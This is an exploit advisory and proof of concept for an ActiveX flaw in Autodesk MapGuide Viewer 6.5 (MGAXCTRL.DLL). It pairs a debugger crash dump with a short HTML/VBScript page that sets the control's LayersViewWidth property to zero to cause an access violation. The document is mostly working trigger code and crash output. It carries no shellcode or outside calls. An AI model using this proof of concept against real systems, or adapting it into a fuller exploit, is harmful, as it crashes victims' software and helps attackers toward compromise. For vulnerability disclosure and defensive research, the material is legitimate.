Autodesk MapGuide Viewer Overflow

`# Exploit Title: Autodesk MapGuide Viewer ActiveX(MGAXCTRL.DLL)Overflow Vulnerability  
# Date: [01-09-2010]  
# Author: [d3b4g]  
# Software Link: http://usa.autodesk.com/adsk/servlet/item?siteID=123112&id=9454821  
# Version: [6.5]  
# Tested on: [Winxp SP3]  
# regards to ROL guys  
  
  
  
  
  
Exception Code: ACCESS_VIOLATION  
Disasm: 175CE9E CMP DWORD PTR [ESI+1C],0 (MGAXCTRL.DLL)  
  
Seh Chain:  
--------------------------------------------------  
1 192847C MGAXCTRL.DLL  
2 73352542 VBSCRIPT.dll  
3 7C839AD8 KERNEL32.dll  
  
  
  
Registers:  
--------------------------------------------------  
EIP 0175CE9E  
EAX 00000001  
EBX 003EB690 -> 0193F684  
ECX 00000000  
EDX 003E0608 -> 00180F98  
EDI 003EB5D8 -> 0193FC24  
ESI 00000404  
EBP 0013EA84 -> 0013EAA0  
ESP 0013EA58 -> 003EB644  
  
  
  
ArgDump:  
--------------------------------------------------  
EBP+8 003EB644 -> 0193F90C  
EBP+12 00000000  
EBP+16 0013EAD4 -> 00130000  
EBP+20 0042C4F4 -> 00110024  
EBP+24 0013EA94 -> 0013EAD4  
EBP+28 0013EB30 -> 0013EBC0  
  
  
Block Disassembly:  
--------------------------------------------------  
175CE8F POP ESI  
175CE90 JMP [EAX+60]  
175CE93 PUSH ESI  
175CE94 LEA ESI,[ECX+404]  
175CE9A TEST ESI,ESI  
175CE9C JE SHORT 0175CEC2  
175CE9E CMP DWORD PTR [ESI+1C],0 <--- CRASH  
175CEA2 JE SHORT 0175CEC2  
175CEA4 PUSH 0  
175CEA6 PUSH DWORD PTR [ESP+C]  
175CEAA MOV ECX,ESI  
175CEAC PUSH 0  
175CEAE CALL 01912C63  
175CEB3 MOV EAX,[ESI]  
175CEB5 MOV ECX,ESI  
  
  
  
  
  
PoC:  
  
  
<object classid='clsid:62789780-B744-11D0-986B-00609731A21D' id='target' />  
<script language='vbscript'>  
  
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com  
  
'Wscript.echo typename(target)  
  
'for debugging/custom prolog  
targetFile = "C:\Program Files\Autodesk\MapGuideViewerActiveX6.5\MgAxCtrl.dll"  
prototype = "Property Let LayersViewWidth As Long"  
memberName = "LayersViewWidth"  
progid = "MGMapControl.MGMap"  
argCount = 1  
  
arg1=0  
  
target.LayersViewWidth = arg1  
  
</script>  
  
`